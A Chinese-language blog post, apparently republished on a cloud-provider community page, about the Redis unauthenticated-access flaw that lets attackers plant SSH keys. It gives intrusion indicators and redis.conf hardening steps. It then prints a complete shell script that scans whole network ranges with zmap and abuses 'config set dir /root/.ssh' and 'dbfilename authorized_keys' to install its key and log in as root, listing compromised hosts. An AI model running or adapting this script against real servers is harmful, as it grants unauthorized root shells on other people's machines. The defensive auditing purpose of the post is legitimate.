Redis SSH 漏洞修複方法

來源:互聯網
上載者:User
一、前言

前段時間,在做內網影響程度評估的時候寫了掃描利用小指令碼,
掃描後統計發現,內網中60%開放了redis6379連接埠的主機處於可以被利用的危險狀態,因為都是一些預設配置造成的
考慮到本社區大部分開發人員都會使用redis,特此分享下以便大家可以對自己公司的內網進行一個排查。 二、漏洞介紹

Redis 預設情況下,會綁定在 0.0.0.0:6379,這樣將會將 Redis 服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意使用者在可以訪問目標伺服器的情況下未授權訪問 Redis 以及讀取 Redis 的資料。攻擊者在未授權訪問 Redis 的情況下可以利用 Redis 的相關方法,可以成功在 Redis 伺服器上寫入公開金鑰,進而可以使用對應私密金鑰直接登入目標伺服器。

入侵特徵: Redis 可能執行過 FLUSHALL 方法,整個 Redis 資料庫被清空 在 Redis 資料庫中建立了一個名為 crackit(網上流傳的命令指令) 的索引值對,內容為一個 SSH 公開金鑰。 在 /root/.ssh 檔案夾下建立或者修改了 authorized_keys 檔案,內容為 Redis 產生的 db 檔案,包含上述公開金鑰 三、修複建議 1.禁止一些高危命令

修改 redis.conf 檔案,添加

rename-command FLUSHALL ""rename-command CONFIG   ""rename-command EVAL     ""

來禁用遠程修改 DB 檔案地址 2.以低許可權運行 Redis 服務

為 Redis 服務建立單獨的使用者和家目錄,並且配置禁止登陸 3.為 Redis 添加密碼驗證

修改 redis.conf 檔案,添加

requirepass mypassword

4.禁止外網訪問 Redis

修改 redis.conf 檔案,添加或修改

bind 127.0.0.1

使得 Redis 服務只在當前主機可用 四、掃描工具 1 使用說明

    #以Ubuntu為例    su    # Requirements    apt-get install redis-server expect zmap    git clone https://github.com/qingxp9/yyfexploit    cd yyfexploit/redis    # 掃描6379連接埠    # 如果你要掃內網,把/etc/zmap/zmap.conf中blacklist-file這一行注釋掉    zmap -p 6379 10.0.0.0/8 -B 10M -o ip.txt    # Usage    ./redis.sh ip.txt

最後,將會產生幾個txt檔案記錄結果
其中:
runasroot.txt 表示redis無認證,且以root運行
noauth.txt 表示redis無認證,但以普通使用者運行
rootshell.txt 已寫入公開金鑰,可直接以認證登入root使用者

像這樣:

ssh -i id_rsa root@x.x.x.x 2 工具原始碼

就貼下代碼吧,各位大牛請在家長陪同下觀看

   #!/bin/sh    if [ $# -eq 1  ]    then      ip_list=$1      ##create id_rsa      echo "****************************************Create id_rsa file"      expect -c "        spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\"        expect {            \"*passphrase): \" {                exp_send \"\r\"                exp_continue            }            \"*again: \" {                exp_send \"\r\"            }            \"*y/n)? \" {                exp_send \"n\r\"            }        }        expect eof      "      echo "\n\n****************************************Attack Targets"      touch noauth.txt runasroot.txt rootshell.txt haveauth.txt      i=0      cat $ip_list | while read ip      do        i=`expr $i + 1`;        #write id_rsa.pub to remote        echo "*****${i}***connect to remote ${ip} redis "        expect -c "          set timeout 3          spawn redis-cli -h $ip config set dir /root/.ssh/          expect {            \"OK\"                        { exit 0 }            \"ERR Changing directory: Permission denied\"         { exit 1 }            timeout                       { exit 2 }            \"(error) NOAUTH Authentication required\"         { exit 3 }          }        "        case $? in            0)  echo "run redis as root"                echo $ip >> noauth.txt                echo $ip >> runasroot.txt            ;;            1)  echo "not run redis as root\n\n\n"                echo $ip >> noauth.txt                continue            ;;            2)  echo "connect timeout\n\n\n"                continue            ;;            3)  echo "Have Auth\n\n\n"                echo $ip >> haveauth.txt                continue            ;;        esac        (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt        cat foo.txt | redis-cli -h $ip -x set 1        redis-cli -h $ip config set dir /root/.ssh/        redis-cli -h $ip config set dbfilename "authorized_keys"        redis-cli save        #login test        echo "#try to login"        expect -c "          set timeout 5          spawn ssh -i id_rsa root@$ip echo \"yyf\"          expect {            \"*yes/no\"     { send \"yes\n\"}            \"*password\"   { send \"\003\"; exit 1 }            \"yyf\"         { exit 0 }            timeout         { exit 2 }          }          exit 4        "        exitcode=$?        if [ $exitcode -eq 0 ]        then          echo "---------------${ip} is get root shell"          echo $ip >> rootshell.txt        fi        echo "\n\n\n"      done      echo "##########Final Count##########"      wc -l $ip_list      echo "----------"      wc -l noauth.txt      wc -l runasroot.txt      wc -l rootshell.txt      echo "----------"      wc -l haveauth.txt    else      echo "usage: ./redis.sh ip.txt"    fi

五、相關參考 http://zone.wooyun.org/content/23858 https://blog.islandzero.net/2015/11/11/redis-crackit/ http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

如果代碼有寫得不合理的地方,還望指出哈

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.